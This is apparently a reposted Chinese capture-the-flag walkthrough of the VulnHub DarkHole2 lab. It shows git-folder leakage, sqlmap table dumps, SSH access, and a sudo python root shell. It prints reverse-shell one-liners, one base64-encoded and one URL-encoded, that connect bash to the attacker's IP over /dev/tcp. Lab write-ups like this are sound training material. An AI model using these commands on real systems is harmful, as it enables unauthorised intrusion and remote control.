DarkHole2

admin 2025年6月3日10:32:57评论23 views字数 1557阅读5分11秒阅读模式

下载地址:https://download.vulnhub.com/darkhole/darkhole_2.zip

攻击者IP:172.20.134.129 nat vmare

受害者IP:172.20.134.143 nat wmare

参考:https://blog.csdn.net/MRS_jianai/article/details/128480361

https://www.cnblogs.com/wdd-blog/p/15230826.html

https://blog.csdn.net/weixin_44862511/article/details/132259658

主机发现

DarkHole2

端口扫描

DarkHole2

目录扫描

发现git文件泄露

DarkHole2

DarkHole2

git文件泄露利用

https://github.com/lijiejie/GitHack

DarkHole2

在config.php

darkhole_2

DarkHole2

pip安装git-dumper

pip3 install git-dumper

DarkHole2

使用git-dumper下载git文件夹内容到git_files文件夹

git-dumper http://172.20.134.143/.git/ git_files

DarkHole2

git log查看日志

DarkHole2

git diff命令,这是在Git中用来显示提交(commit)、提交和工作树、工作树等之间差异的一个命令

发现用户名和密码

if($POST['email'] == "[email protected]" && $POST['password'] == "321"){

[email protected]/321

DarkHole2

登陆后台

DarkHole2

?id=1可能有sql注入,使用sqlmap

DarkHole2

DarkHole2

sqlmap -r 1.txt -D darkhole_2 --tables --batch

DarkHole2

查看ssh表

sqlmap -r 1.txt -D darkhole_2 -T ssh --columns --batch 

DarkHole2

sqlmap -r 1.txt -D darkhole_2 -T ssh -C id,user,pass --dump --batch

获得ssh表的用户和密码

jehad/fool

DarkHole2

查看users表

sqlmap -r 1.txt -D darkhole_2 -T users --columns --batch

DarkHole2

没有更多的信息了

sqlmap -r 1.txt -D darkhole_2 -T users -C id,emaid,username,password --dump --batch

DarkHole2

ssh登录用户jehad,

DarkHole2

发现其他用户lama losy

查看历史命令

DarkHole2

发现9999端口可能有rce

DarkHole2

cat /etc/crontab

查看定时任务也能查看

DarkHole2

lsy用户的rce

DarkHole2

base64编码

echo "YmFzaCAtaSA+JiAvZGV2L3RjcC8xNzIuMjAuMTM0LjEyOS8xMTExIDA+JjE=" | base64 -d | bash

DarkHole2

试了几个反弹shell的命令都没成功

DarkHole2

/opt/web可以看到源码

DarkHole2

重新连接登陆 ssh,将本地端口 9999 端口与远程主机端口映射,访问本地端口转发到远程主机

ssh [email protected] -L 9999:localhost:9999

反弹shell

应为是get,所以要url编码

curl 127.0.0.1:9999?cmd=bash+-c+%27bash+-i+%3e%26+%2fdev%2ftcp%2f172.20.134.129%2f1111+0%3e%261%27

DarkHole2

连接losy

DarkHole2

发现losy的密码

losy/gang

DarkHole2

sudo -l

DarkHole2

sudo python3 -c 'import os; os.setuid(0); os.system("/bin/sh")'          or          sudo python3 -c 'import os; os.system("/bin/bash")'

DarkHole2

原文始发于微信公众号(王之暴龙战神):DarkHole2

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年6月3日10:32:57
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   DarkHole2https://cn-sec.com/archives/3870941.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息